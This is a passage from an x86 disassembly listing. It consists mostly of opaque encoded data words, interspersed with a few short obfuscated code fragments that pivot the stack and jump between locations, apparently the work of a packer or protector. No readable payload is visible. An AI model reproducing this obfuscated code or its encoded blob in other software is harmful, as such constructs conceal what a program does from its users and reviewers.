0FC5DC4E5h, 1FAE81Eh, 86E33A71h, 0F9FAF7E9h dd 1887CFAh, 3FE65DCCh, 5F63h, 3ABDFC00h, 0EB6CCD7Ch, 3AF9FAFFh dd 0AE8E7C4Dh, 1BACEAEFh, 2FD53D22h, 0ED1C181Bh, 82275A97h dd 1FA95D0h, 3F309918h, 0D6F9FAE5h, 6DDA4099h, 0A354171Eh dd 3C8986E5h, 0CC780F61h, 0B41DAE1Bh, 0F9FAAEBFh, 0D75A2AACh dd 3FE62AFAh, 2A24C653h, 2301C00Fh, 6AB1FFFCh, 0D55BD8E1h dd 6F000000h, 0D823696Eh, 0CF5E6499h, 17D70544h, 0ACE9BA5Ah dd 0B7D6030Fh, 3DBAA506h, 34A52C7Fh, 25FF6876h, 53FC189Ch dd 2DBE910h, 6D1C9A5Fh, 973C90FCh, 16B7F6DCh, 0C2C83170h dd 3EB9F8BBh, 89966F78h, 8D05A2A5h, 2401FAC6h, 8B88434Fh dd 6007A0A7h, 9E041F31h, 0D903A09h, 96895FEAh, 0DF680031h dd 419AD1F7h, 78FB6EC5h, 0F1C082EFh, 0DFE80963h, 22256B90h dd 0A15506A3h, 0B78CF7DFh, 0E1048870h, 0F2B75374h, 4A7EBB09h dd 29FE7EBFh, 0A74F55Ch, 73650000h, 1ED6AB37h, 0CD0D7C9Ah dd 7164C5C1h, 21DAAF2Bh, 19F87793h, 4D495784h, 2BB7FDFCh dd 0F218A456h, 464C4A8Fh, 91C2679Eh, 40F9F1F3h, 6D6E19DDh dd 9106BB27h, 0BD299B26h, 649926Eh, 1CFCBD1h, 0D0577B18h dd 0FAD1C777h, 0B22B1E01h, 2D54B7ECh, 99226E6Ah, 0FAA10330h dd 0DED610F9h, 0A5E91150h, 0B6B41546h, 3FE62B5Bh, 0BEF0h dd 696ECA00h, 6499D823h, 0AA62CF5Eh, 1EFC18BEh, 0B237D3D9h dd 3F853425h, 0BF083B47h, 3A4147B0h, 0F3C1387Bh, 0F396705Ah dd 4A51412h, 1F02262Bh, 0DF1D9D5Ch, 0D60766D3h, 0F52D8AF5h dd 1C01FA25h, 0EB72027h, 11927DDEh, 0D9928851h, 6E9190B4h dd 59094AEFh, 63D8F9FBh, 0E9F2BE3Ch, 1E89EA80h, 0D3562D04h dd 0B9256B90h, 568713C8h, 43B83D48h, 7D452C26h, 4B2A7FFEh dd 98Ah, 0BD595D9Bh, 68C08CCh, 0EFEBB723h, 0B15D5B9Ah dd 19850BF0h, 41BA03E2h, 0E7125773h, 8E4C3DD9h, 34A58402h dd 1D646876h, 0F1F3BBBCh, 0E32B6AF9h, 0AE2D6D6Eh, 1B5085E0h dd 0F4B22564h, 857237D3h, 6EDD9B07h, 7D3C2369h, 86AD3E7Ch dd 0F61C9A5Fh, 18B9D855h, 0AFEDEAFCh, 13995E23h, 0A904988h dd 68A70F3h, 5A1BBCE7h, 8BFC18B9h, 8E4DBCh, 63531DE5h dd 675F991Dh, 32D8DE1Bh, 810FCC8Fh, 52E8F17Ah, 3A04137Fh dd 8A2Ch, 7B181600h, 0F377D057h, 2A01FACAh, 44E9F381h dd 0C9062251h, 6858D5B2h, 0D4BF9FAh, 0E01BF639h, 64B03FE6h dd 8A000000h, 18B9FA88h, 0BF93B0FCh, 0C69B2F88h, 266901FAh dd 0B5D1EAAEh, 335C4022h, 2966BAD5h, 4D1FDCADh, 83B5CE8Ah dd 46BC8CC9h, 0CC0E3E5Fh, 266292D5h, 0C25996C7h, 0C54468F5h dd 18F4AA64h, 606EC504h, 5C5A9EC1h, 7A01D9Bh, 8F1EA258h dd 6392D32h, 3EEC09A1h, 4E89F80Ah, 43B83D48h, 5870247h dd 18380000h, 51D0577Bh, 18B94708h, 0E77D9EFCh, 78E0B056h dd 7F33663h, 5AFF22BBh, 1FABC9Ch, 0C4ADF8B7h, 0F9FA33AFh dd 0C74A3ABCh, 3FE6990Ah, 554A1h, 8C0F8500h, 0E6994DD2h dd 0FAC3D541h, 0F1370C01h, 3FE0BE56h, 0F3D77CA0h, 0F4F7EB4Ch dd 4205AE5Dh, 44F11498h, 3D482763h, 7A615FC4h, 84F1B73Eh dd 0C059D84Fh, 0CE0CB559h, 2D5149C2h, 0DE349D2Eh, 6AB477C5h dd 0E5E3FFDh, 194AC3C9h, 0BD03F808h, 54236740h, 276592D5h dd 5718A120h, 8E477760h, 28298EB1h, 0F9477760h, 0DC6D3982h dd 8A535F9Dh, 6F9412C7h, 4ED5FC5Dh, 0C3F85B2Eh, 0D2000007h dd 77A6024h, 7ACFCBCFh, 0D594327Eh, 0B7E6422h, 0A9C6CCD2h dd 0BA08F5CAh, 0E0AE2D1Ch, 495587FAh, 0BDFBFC4Dh, 73D42D11h dd 0F9F1F5C2h, 6EA81213h, 0EFD82369h, 7EDB4E62h, 1FAD128h dd 0FF70D958h, 16F9FAA1h, 0A9E6A453h, 0C8618A10h, 2D89AB59h dd 3372F522h, 34A1C4CAh, 7CED6C93h, 0E1236CFCh, 0E4174AEEh dd 0BD0E4FDEh, 0C54448B2h, 0C9118254h, 0E8E4AF63h, 0BABAD350h dd 0BCE3159h, 0D4F56685h, 0F897336h, 36A7C6CCh, 94C5A2F9h dd 56F9FA73h, 42D9E517h, 0DA57B009h, 9EF9FA03h, 0DAADDF1h dd 4180FD1h, 9FF80378h, 0F7DC4FE2h, 87F77F1h, 45C909D5h dd 2E7Ah, 7B184C00h, 2E51D057h, 18B9C889h, 0B12819FCh dd 0E65398E3h, 0EC9E7CC5h, 0BAF101FAh, 0B88E1287h, 0BEDFE317h dd 0E2FBBAFCh, 24F85Bh, 18020000h, 51D0577Bh, 18B94708h dd 89645FCh, 6D943502h, 0FAE31ACCh, 0CB7E3501h, 0ED6F725Eh dd 0DCED3D46h, 696E75B1h, 0D600C623h, 86E30A45h, 6A9BFh dd 7A3EB800h, 0ADE9ED5Ch, 14984021h, 7E3CBB8Eh, 0A6EC1150h dd 0DBE48338h, 33769C22h, 6DDCFAC8h, 0C2A7236Fh, 4B0B9715h dd 0F4DC9D3Ah, 875F9F1h, 9D7B18C2h, 18B93B3Ch, 209DEAFCh dd 5856A821h, 980DCB35h, 1E41C04Fh, 0AF08D1D7h, 1FA3477h dd 0FD47D9Eh, 0DF566A4Fh, 0FB24F97Ah, 0E65328F9h, 75C31A75h dd 63D8BF0Bh, 9A20D918h, 0D1D7EB7Ch, 8C932680h, 143932D8h dd 8C4E3130h, 0DF78A700h, 2CD4BF0Fh, 5C1DBA3Dh, 2ECF083Eh dd 378E6AAh, 0E01D6CBAh, 0D2084BD2h, 0C12491CEh dd 0B452569Eh, 0B7AA9E83h, 6847534h, 6C03E315h, 0AD3A9F8h dd 0EA522DA1h, 7865C432h, 0C1AEFD2Ah, 0C4EA1DACh, 0DA7FFEBFh dd 0C4EA1D99h, 60EAF348h, 36A7E694h, 0F62B5F68h, 5572F6B3h dd 178h, 577B1869h, 0D71F77D0h, 0F9B601FAh, 3AA0E3A2h dd 0FB307C7Ch, 0AF922BA0h, 3666C2Ah, 0ECB5D0D6h, 2681ECD6h dd 0E38F6721h, 687137A0h, 0C760F0E9h, 0D135E096h, 0E042F354h dd 0A493D135h, 0E94C1BEh, 0C43978FBh, 1D2EAFFEh, 0D135E05Ch dd 79E5AB2Eh, 41B6B902h, 0CD0C8C71h, 0FA738AC7h, 9D117E8Dh dd 0C80E4EAAh, 8F48B68Eh, 0A4571609h, 0DB4E8F1Eh, 602AFD7Eh dd 8E5F14A8h, 41E66998h, 0A8602A10h, 0C6376AC1h, 7760EFF8h dd 4F7C13Bh, 0F11441BEh, 33361A38h, 0E7068A70h, 8D2A5576h dd 0A8602A2Ch, 0F7BB3F7Eh, 0A831B0D6h, 0A8602AA7h, 2A93C465h dd 0F542A860h, 39A51269h, 0A3D113Eh, 0FF0E8C4Bh, 85226D7Eh dd 55822DB9h, 65E49BD0h, 211445E2h, 76CDA642h, 422164D5h dd 0E5C6BDA6h, 4642D75Eh, 91D5E9E2h, 0E9EE516Ah, 1D682EA9h dd 26763D8h, 931FDDD5h, 99ECA82Ch, 0BB84E75Ch, 0A642E9A2h dd 25B2FFh, 0E58E6BEEh, 0DED69029h, 0AE2B6790h, 0B417B3E8h dd 2A360EE1h, 30DE8E91h, 8E4F0EB1h, 0D770E500h, 32B78C66h dd 8E0ACABFh, 3881FE7Fh, 0A3FAC039h, 97D861E0h, 4E32B78Ch dd 0BE8FE8F1h, 0CF4CCF55h, 8C4DB98Dh, 0B8E1B0Eh, 0D4222831h dd 0B7E2CBDh, 9418C2CEh, 988FC471h, 419A20D9h, 6C40CD3Ah dd 84BA5CFDh, 1E55550Ch, 3C51F0h, 6F2E0000h, 0A185266Ch dd 3C9D7B18h, 0FC18B93Bh, 5F6397EAh, 0E5528FCCh, 0ECF1C562h dd 0A63301FAh, 16A2BCC5h, 0E62485AAh, 3F37289h, 0B8F01B87h dd 755BC7A3h, 84EC55F2h, 4E25F9FAh, 696E39EDh, 4302A723h dd 0FCB51694h, 6BCC7357h, 1FAC21Bh, 0E1A72E11h, 72F542D8h dd 454BB0F3h, 99DA7F26h, 48F9FAB0h, 3A2586F3h, 93D6FCC0h dd 0D6CAF969h, 7085B35Dh, 0A17E03Bh, 862326h, 0BB04188Fh dd 0A3D0B9CCh, 0E7F7DCBEh, 46D3567Ah, 87AA0CFDh, 78372084h dd 78F1972Dh, 51F63982h, 0A3E7D7Dh, 0E34CDF94h, 0EDBE7C4Eh dd 234BDC5Dh, 0FEE0180Ch, 4A0BACD3h, 9BEDBE4Dh, 63531BACh dd 0DC0942D7h, 8C61232Eh, 0A5D20F3Bh, 45794BAAh, 4D000000h dd 696C2FAEh, 0CA93D823h, 0FC18B989h, 0E1DAE358h, 0A96427Ch dd 0E03DAADDh, 0E2B8BB6Dh, 0C267AA33h, 1FAE3F4h, 9532B534h dd 0F9FAFBA4h, 3425067Dh, 0EDF9FAFBh, 9AD13596h, 95410003h dd 1F69C811h, 9D000000h, 0D0577B18h, 0B9470851h, 0A19EFC18h dd 0AE309918h, 4101FAE3h, 0C63477EAh, 912AA3FAh, 696E308Ah dd 0D5FAC623h, 0ACF90A45h, 31DC5h, 0CECA0C00h, 317561C0h dd 9824D495h, 0C2C80F72h, 2A7865C4h, 2F7017ACh, 87FAE0AEh dd 0E1404E54h, 562BB7FBh, 0F7FF1BA1h, 0E828298Eh, 0B4F9F9F1h dd 23696E76h, 71D659D8h, 0FC18B9C0h, 0DE815A11h, 7BEC9319h dd 121BAC04h, 575B9F2Fh, 714A8734h, 0A6551495h, 7F488D18h dd 0B2B59986h, 0FA1C4115h, 3F3F5801h, 4597DC43h, 0FB44A71Ch dd 0F9FA5746h, 0EC231355h, 3FE6FD31h, 931FDD9Ch, 0AFA00908h dd 66F9FA5Fh, 860BDC09h, 3Ah, 5D7B18B8h, 4E8F1E9Ch, 4FDEDC1Bh dd 39AED10Eh, 34BEDCEDh, 0D3526FE0h, 21785CFDh, 0C267AA33h dd 1FAD390h, 0C891F443h, 0F9FAA3BBh, 0D3562EA8h, 3FE62CFEh dd 105ADh, 696E9100h, 9DE8AE29h, 5998E358h, 448F1EA4h dd 4FF61593h, 45860C8Ah, 0FC18BE4Fh, 9CDD7AFDh, 0B5FC18BCh dd 7562EDFEh, 21D6AB37h, 8801009Bh, 395DFAEEh, 14EDFEDAh dd 83245B0Fh, 1FA9E83h, 2AB5B029h, 9E3FA5E6h, 6462D94Dh dd 74E542C5h, 0ADF9FA48h, 0A0689B0Ah, 4B80CA1Bh, 1DAE614h dd 72B28h, 0F7169C41h, 0BB3A6546h, 2CBD03F8h, 1F4B4FC3h dd 9689E604h, 0F75020D7h, 0F7DE6246h, 0F46BA09Fh, 0DE62E253h dd 634433F7h, 0FDFABD3Ch, 0BA232EBFh, 0C73275F4h, 9029A2F9h dd 7846B78Ah, 7EFA4F33h, 220D18FEh, 1AEh, 517D39BFh, 3AA0E410h dd 830F9347h, 557137BEh, 3DD9E714h, 1DDEDF86h, 0C3360B97h dd 6A90D1FDh, 10C9B826h, 21400C8Ah, 0F1EBD798h, 0C7070EF9h dd 0C98A2FAEh, 18FC18B9h, 0B90F40E9h, 69C6FC18h, 37A4AB3Ch dd 0BE3C7463h, 296685F2h, 1187A284h, 5895C28Eh, 8C0ACFB2h dd 7B185806h, 0C777D057h, 1E01FAD1h, 0C07DDA21h, 0F2F9FAA1h dd 0FC678602h, 8F54B7FDh, 7F81F7CFh, 479A0DF9h, 0E43FE62Bh dd 0B1h, 23696EDEh, 0C4C059D8h, 0E9B525FFh, 0F7305992h dd 7CDE18C8h, 2624C18Dh, 6C91D0E9h, 0A27AC726h, 16FC1871h dd 8A3FDBE1h, 6DADAE0Bh, 564FC18h, 2699D6D4h, 90DFE8B4h dd 0EDDA2167h, 7CDD4C60h, 1FA03AAh, 77606EC5h, 0C043C6EAh dd 2F525881h, 0FA4BC98Ah, 9A2318F9h, 1F9B3E31h, 0E998D704h dd 636F35A6h, 0AAD7DD1Eh, 0FE7E33B2h, 0B785ECB9h, 0A6000000h dd 1B6E7430h, 4E33DFDBh, 0A998068Ah, 1F62682Eh, 0BDCAD0DEh dd 8E14C9D6h, 0F4BA2100h, 5D619BEEh, 8107F0B1h, 8F285905h dd 0F9F1EACEh, 6EDC1E07h, 6120276Dh, 0FDA93278h, 414D4B8Ch dd 23696E9Bh, 506099D8h, 5687E6AAh, 55FAFD19h, 0C3387E7Bh dd 164FB5Ch, 0B8890202h, 2011B640h, 0F1F9F1F1h, 0F5104DBAh dd 880ECB8Ah, 0C1C7303Fh, 357364C5h, 0C3F089D6h, 4F0976ACh dd 4F88CB77h, 8F17049h, 0A2E50482h, 0EA557632h, 39B8AFEDh dd 0EA3DF90h, 0A0397681h, 1D9B5A85h, 4E26208Eh, 15B1F7E0h dd 7639A354h, 0B3F7FF46h, 84BA039Ah, 3553C4Fh, 69000000h dd 686E9DA7h, 6196D92Ch, 5B81C05Bh, 4E8D3457h, 41BA2540h dd 34A92873h, 21D41F6Eh, 19C1009Bh, 7CF7695h, 56F27883h dd 0C681E689h, 4, 8704EE83h, 895C2434h, 8956242Ch, 4C681E6h dd 83000000h, 348704EEh, 2C895C24h, 26B96824h, 0C890000h dd 48716824h, 2C8B05E9h, 4C48324h, 240C8B54h, 5304C483h dd 8BBh, 89CB0100h, 241C8B2Bh, 4C481h, 0C8B0000h, 0E7895724h dd 4C781h, 0C7810000h, 4, 5C243C87h db 8Bh, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_4F5CCB ; --------------------------------------------------------------------------- dd 54A4B8B2h, 0C50305E9h, 0C9DDE0FFh, 962646E6h, 0D43F7AAFh dd 76E0390Ah, 68B10395h, 9A363E45h, 475C24A3h, 0D01D0005h dd 81F12AF0h, 0DEB24DF7h, 8B8441B4h, 5C197478h, 6B8F3138h dd 5ADC4931h, 5B165C7Ch, 1DA649EEh, 3B503FF2h, 80A9140Eh dd 6FFB4773h, 0F8B23E94h, 999644A7h, 49724667h, 531C2AE0h dd 0DCD12B49h, 434F7855h, 498F0D22h, 34B222DCh, 0CDC24D34h dd 4EB36EAh, 286385EEh, 514E9h, 9612C400h, 0F9BD3908h dd 206C6CDDh, 8A10C7BAh, 0F2C03D0Ch, 0E7B85FD4h, 5F22A8F6h dd 0B988169Ch, 0EE537F43h, 3F27A3E9h, 0ECF061C6h, 7C21F9F1h dd 34258205h, 0EDF9F1ECh, 6E713596h, 59D82369h, 0BBB6FCC0h dd 6A7398F8h, 22A8F6E7h, 891C9A5Fh, 0F00B9146h, 0FA018571h dd 0B806FEB8h, 0EC5D793Fh, 8ECF68EEh, 47FC18E2h, 5217B3E8h dd 0F465E4A8h, 4A6B5724h, 826CED2Ah, 0B1E1F98Fh, 0BF264D9Eh dd 0CB17763Ch, 0F302D146h, 62E99555h, 0EAF3B73Fh, 0B4269460h dd 5A9FE2E8h, 746C95Ch, 0B6A700D0h, 6FFC18B3h, 0B40DB10h dd 0B382B314h, 0E453FC18h, 0B3C47AC3h, 6BDDFC18h, 2BACEF9Bh dd 0F32E5C6Dh, 583A041Dh, 59h, 23696E62h, 0B9C07FD8h, 61E7FC18h dd 13BF1295h, 0F96E3A04h, 0EDE7CD44h, 9805A68Ch, 1, 22666EA2h dd 585C98DBh, 0DA0342CDh, 894CF3D4h, 7E79F803h, 7762ED38h dd 7E45D229h, 41AB29EFh, 0C6BEA800h, 0BA8ACC72h, 0D206884Ch dd 347591CEh, 342C5C3h, 14F2CBD7h, 276D6E2Eh, 5D599DC4h dd 4232B4CEh, 4AB307F4h, 0B928298Eh, 82F9FC18h, 4FF21855h dd 8E1FD9DAh, 0B5125337h, 0FC181984h, 10A9E65Dh, 9BE2A851h dd 6D1CA058h, 190C4DEAh, 0D91EFC18h, 70348D3h, 6CF49F28h dd 2D6C1AEAh, 529BE2B0h, 5B99C839h, 0EFF8C13Fh, 443965Bh dd 67353Ah, 6E090000h, 0B720276Dh, 0C9DB5FACh, 0C90483Bh dd 0E46FF6D7h, 0F6B9A8F4h, 1A21BAFEh, 18665E18h, 0B031DDE3h dd 51A7A831h, 17EFC18h, 7444B9B8h, 0BFCE3B81h, 0A0FBC134h dd 0BBEEC600h, 3A04F976h, 4ED5h, 6D6EE900h, 5F9DC427h dd 5489C853h, 45B43F4Eh, 9804D3A3h, 62DF5DE4h, 0C1B5BF1Bh dd 0FE7617Fh, 6E743AA3h, 0FE666E60h, 0BC2FA074h, 0D32A676Fh dd 0A5E91150h, 0B87BB04h, 0ED9CFC18h, 1F6E2AAAh, 71450DDEh dd 4C5E33Eh, 1483Ah, 6E720000h, 9CC7266Ah, 87CE5D5Bh, 66334A50h dd 0AE7237F5h, 0BCA3D8Fh, 72347E8Dh, 65AC3E82h, 0DFC038F4h dd 0B20BF188h, 8A4EBC88h, 5DCCC80Ch, 18B97BFCh, 60DDAAFCh dd 0F8EC717Ah, 0CD5EE049h, 3DAA01FAh, 0EAE10F5h, 0F614B540h dd 0A20786B9h, 0F9FA18B1h, 0ABB20B60h, 0EDE9AF28h, 0CE5D5B9Ch dd 0FA18CE61h, 951495F9h, 0CC72304h, 38012566h, 0F9FA0537h dd 5C629BEEh, 0C6578CC9h, 0DE198F0Eh, 420CDD68h, 0D5D30472h dd 2CA2C552h, 0BF07D88Dh, 0D009782Eh, 71F0B3CAh, 0FA6067E8h dd 48C1BEF9h, 4D88A6B7h, 5619A23Ah, 0A4EA11A1h, 0D0DC1E41h dd 0A7DF2E9Bh, 14C53105h, 248D1F4Ah, 2CAB01F6h, 61DE1F6Eh dd 2DE0AE34h, 823FE704h, 12Bh, 0ECEFAEA4h, 272C05A6h, 47BB1C03h dd 0AE01FADFh, 2D9C22DBh, 5D9EEDA9h, 9D5A85E0h, 0AC5687C3h dd 0A5127535h, 98F4839h, 7F0B3F2h, 0E8F17A81h, 372A7069h dd 0D2C123B4h, 693BDAB6h, 0FA1F9FD0h, 0E0F9B6F9h, 9482945h dd 76F0C9CDh, 3A67F07Eh, 0BF27294Bh, 0BB3C2384h, 76ABD1FDh dd 0D53FE645h, 47h, 557918E9h, 0B91475D2h, 0F64DFC18h dd 0B989CA97h, 79E1FC18h, 2EC8578Dh, 18B9C889h, 292219FCh dd 0B1ACDADBh, 265996ACh, 3F5102A7h, 0AB80FC18h, 0D94AEF12h dd 8FC183Fh, 88329733h, 0F3000000h, 254044B0h, 185317B0h dd 77D0577Bh, 1FAD2E7h, 0BB3A413Eh, 2F52783Eh, 9A23696Ch dd 16422D7h, 0FAA30C38h, 0FEC238F9h, 20B624AFh, 0FAA3D687h dd 0FB300FF9h, 0F1B521A0h, 0CF3B0B4Dh, 0F17A810Dh, 4A3A2C84h dd 0D277FBFCh, 0F9FAA361h, 8006F1B0h, 4EBBF065h, 0DD1958DBh dd 0A3CF80D9h, 2906F9FAh, 34778A90h, 8E1FAC6h, 8720270Bh dd 7E0144Bh, 0CF7695E2h, 91798C0Ah, 78E5DFD7h, 5E74D554h dd 0F109C97Eh, 0AE561CBAh, 0B9C98A2Fh, 2318FC18h, 88BCA19Ah dd 0EA23099h, 0FEB50202h, 0F5B324AFh, 595F98E9h, 0CEA965C2h dd 9ED82C4Ah, 139F58A6h, 8CCD6AE6h, 45CF6C8Ch, 5E44B1EEh dd 5DA8EEEBh, 46A5E312h, 0B806FE78h, 0EC5D793Fh, 0F75EADEBh dd 3, 6E9DA70Fh, 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh dd 0A9287341h, 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0C068243Ch dd 89000039h, 8957241Ch, 4C781E7h, 83000000h, 3C8704EFh dd 34895C24h, 0AABE5624h, 8905E955h, 24348BF3h, 5404C483h dd 8124348Bh, 4C4h, 8B95100h, 1000000h, 2C8153F1h, 0C2313324h dd 81018F27h, 0C2313301h, 348B5927h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_4F5CCB ; --------------------------------------------------------------------------- db 0C8h dd 99EA43E2h, 5A25B8B7h, 0C50305E9h, 9054E0FFh, 982D3E4Ah dd 0BF1F43C7h, 8BBD265Bh, 0D0807AB0h, 0D1684E07h, 0DBAA518Ch dd 0EE194FB2h, 0E1056094h, 0BB933A79h, 84960E8Fh, 2A11536Eh dd 0A26E1227h, 84474E1Ch, 0F9577DA4h, 1EC00CD6h, 94ED6765h dd 0FD1D53F9h, 4EB6132h, 44AD884Dh, 562E9h, 6827400h, 692DA998h dd 0D0DC1C6Dh, 3A8077CAh, 6230AD9Ch, 9728CF64h, 0CFB25866h dd 2918860Ch, 9EE3EFB3h, 8FB75359h, 0E260D176h, 0CCB1F9F1h dd 29696E0Eh, 5A93EAB0h, 0A6579EEDh, 4A8FF218h, 41B6394Ch dd 35A1207Bh, 30AB2A71h, 0C80E1B62h, 0C703F364h, 246295D4h dd 877FF9C1h, 7B4B0D31h, 4C488CCFh, 0E9BBC39h, 0E1CF5528h dd 1BDC8324h, 0C2596597h, 0F3B65C89h, 28198509h, 549FEEB2h dd 228C1FA5h, 0FCFE4C38h, 0A2572AB0h, 0B82265E4h, 463E63F4h dd 8BF8BC35h, 304E2B32h, 29FC1843h, 0FAC03978h, 1A8D79E1h dd 3A050DC7h, 6464h, 696E5E00h, 0C07FD823h, 0E7FC18B9h dd 0BF129561h, 6E3A0413h, 99ECAA2Fh, 44043B5Ch, 97E4141Bh dd 1C936h, 0AEFD0000h, 59ACEAEFh, 5084CB1Ch, 468E3154h dd 39783B42h, 2DAEFDC1h, 6422D59Ch, 94C562E5h, 4DFC18B9h dd 0C44ED5F6h, 0C9D70245h, 0A6A039B2h, 307460CEh, 0A55417AAh dd 7E4F8C1Fh, 1A8006F3h, 2D6D6E5Ch, 549FEEACh, 73A8E5A3h dd 692DA928h, 7F43B7F6h, 93C4652Ch, 42FC18B9h, 42FB8F5h dd 0A784CEEh, 0A2C7C3D1h, 6B162035h, 0A6195B3Eh, 155C6D33h dd 8ACB6CE4h, 5BFC1861h, 0ED54B7ECh, 3A5AA1EDh, 9C41C8BCh dd 333A04E9h, 75h, 0FB6D6E37h, 0AE8EC699h, 8D1855BDh, 0F30A9642h dd 0B1FDC9B3h, 18F4C4Ch, 0D3D871FAh, 0D2549483h, 5DECEA27h dd 5C06F1CCh, 18557AFBh, 0BBDCABFCh, 7B4CFB8Bh, 86B907F4h dd 41B1A207h, 876DFC18h, 8DD8F01Ah, 4180FF9Bh, 40F51096h dd 6295DC67h, 39BFC124h, 7417DA4Dh, 45B43A04h, 35000000h dd 0A5068272h, 276D6EC1h, 535F9DC4h, 8E66E0C8h, 0E9F5BB20h dd 22666EE3h, 317F7C3Fh, 0B73E61EAh, 9821AAF1h, 0B99E94FDh dd 4583FC18h, 5982C571h, 19F4724Bh, 0B63A0413h, 8, 3B897033h dd 94526BE0h, 0C7266A6Eh, 0CE5D5B9Ch, 208E66E0h, 0B2F6FEB8h dd 0A9285945h, 18B94F00h, 10A986FCh, 0D81C3A27h, 0F9E22D6h dd 0C10A91CEh, 0B978F95Eh, 0D2A9FC18h, 2545E265h, 0DC01FACDh dd 0F522706Dh, 26AA2F96h, 0FAADD081h, 47E001F9h, 0F9FAAD16h dd 0CE3B70CFh, 0D8DC185Bh, 0B1261B0Fh, 0ADD79821h, 0A803F9FAh dd 6AD8F93h, 673C856h, 52E79AE7h, 4DBCF9FAh, 52EC6DCAh dd 5328F9FAh, 0BF953491h, 7E4F2422h, 45B200F4h, 9B2B2C8Dh dd 8DFAF9FAh, 74374A50h, 0BEA13A86h, 0A9287339h, 0E3136A30h dd 0D8016D59h, 934E34D2h, 383FE635h, 15Ah, 5D7B1802h, 428B12A0h dd 79B51215h, 9001FADFh, 0C39D6407h, 4D8EB8D3h, 0AADD0A47h dd 91CD8E2Bh, 18DFF9FAh, 44C20B92h, 0CB7DEEFh, 60C1CDCBh dd 6BEA3177h, 6D19F46Eh, 0D2B20972h, 1EDF0665h, 0E15E5A9Ah dd 3D3E9B9Ah, 0D4F9FA38h, 0E3B1289Fh, 40343E98h, 4430BAF8h dd 1FBB01F6h, 0E694BC11h, 0F6F8113Fh, 805AB55Fh, 5953D0E9h dd 97000000h, 0D2557918h, 18B91475h, 0E61756FCh, 0BF084DD8h dd 0A0891C6Bh, 0FC18B9AFh, 1DBA3EBDh, 0FC18B95Ch, 3A41BEF5h dd 2E7D41BBh, 4FB185C5h, 0C004F07Ah, 6DFA6D41h, 25663D1Dh dd 42CD1E4Fh, 185BA4E5h, 0BE51C6FCh, 0B58091E1h, 1368BE0Fh dd 0E1AD2D6Ch, 939FC2D8h, 0A7000000h, 0D0577B18h, 0FAD2E777h dd 3A413E01h, 0A57EEE7Bh, 0AFB226F9h, 912A672Bh, 676329AEh dd 0E30BD502h, 474D8ED1h, 0F28521D6h, 0D769EA4Fh, 0C3B8F9FAh dd 122A7796h, 4FF9FAD4h, 18C12D19h, 0DE437492h, 6CD277EAh dd 0A707E07Bh, 0B1C059C8h, 91F382ACh, 0B9384364h, 44C77A40h dd 0D3D972E3h, 0F3D4A3F7h, 0F0C48E68h, 89716FF4h, 0D659C805h dd 0D3D9C071h, 815A11F7h, 74B5B91Eh, 0E75C09C9h, 0FCBC2160h dd 6740BDFBh, 975F1EA3h, 90498813h, 0D7AF30Ah, 7B18CEBCh dd 2E51D057h, 18B9C889h, 992219FCh, 2143230h, 1F6EC502h dd 796523D4h, 484E89C8h, 8107F07Fh, 0B9BA1F9Eh, 0B3F9F1E2h dd 63D84644h, 3170335Ah, 90F9C2C8h, 38B4FA4Bh, 53F477FAh dd 0BB36FDE2h, 0FB634433h, 0A03ABF0Bh, 6E1E055Dh, 4CFDE9DCh dd 0A1EE420Eh, 0AE933F74h, 4F00A929h, 86BB364Ch, 0A6297CA9h dd 0DAAEB52Fh, 9879C7D9h, 0FB9C649Fh, 0A11EC65Dh, 2F27C5Ah dd 0C24543B4h, 0D275E643h, 0DDACBB36h, 87209D19h, 7939BE83h dd 6AE33A80h, 0ACFFC337h, 0C4FF22Fh, 52F9C2CEh, 3F3h, 9DA70B00h dd 0D92C686Eh, 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh dd 1F6E34A9h, 9B21D4h, 769519C1h, 788307CFh, 124A68F2h dd 2C890000h, 61156824h, 4890000h, 0E2895224h, 4C281h dd 0EA810000h, 4, 5C241487h, 68242C89h, 708Ch, 0BA241489h dd 46C471A0h, 2D2ABAB8h, 5AD03143h, 242C8B54h, 4C481h dd 0B9510000h, 8, 189E901h, 81240C8Bh, 4C4h, 242C8B00h dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 81582434h dd 4C4h, 1FA5E900h, 0CF86FFF9h, 74E46218h, 84F8B25Dh, 0B8C9F42Fh dd 5E95FF2h, 0E0FFC503h, 176A2652h, 5B25FD12h, 20B88AA5h dd 23A141Ch, 383E7F72h, 4F2C357Ah, 6CC00A6Dh, 4EBF6E0Eh dd 746403A0h, 6988574Eh, 2EA7B7D4h, 26D6DFEAh, 164E13A4h dd 3F05C065h, 12F65D15h, 38E095CDh, 560C9414h, 37738B7Eh dd 7A38576h, 762AC01Bh, 61928D8Dh, 6A05E9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0C2CDA3C3h dd 2DB48F22h, 0BE98D89h, 0BF0F05E2h, 6185C7D7h, 0C805E207h dd 6A00005Ch, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0F210C355h, 5E625AF5h, 9459488h dd 0E2219195h, 5585C705h, 5E21Bh, 8B000000h, 0E217CDB5h dd 0D9B5FF05h, 8B05E21Fh, 0E22B25BDh, 1595FF05h, 6A05E20Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 1B77C353h, 9F4A6B69h, 0A017DF01h, 0B55231BEh dd 48D2BB03h, 6A5B7Bh, 0AB995FFh, 0C08B05E2h, 0B8A71DEBh dd 2F600648h, 0D3FBB850h, 89EE7D24h, 26395E75h, 8BA49053h dd 939CD373h, 0EB6CC9DFh, 0D86EDA04h, 4F2E96Bh, 27D10000h dd 0D2026763h, 8179C8D6h, 25D0913Dh, 0D5067B67h, 0CDB4C3CFh dd 19850BF0h, 0E7E3B128h, 4E545882h, 12B8FEFBh, 0C576D352h dd 1CF9F1D8h, 696ED511h, 1659D823h, 0CEF903E5h, 0B13232BEh dd 13B42144h, 0E5E1AF2Ch, 36555384h, 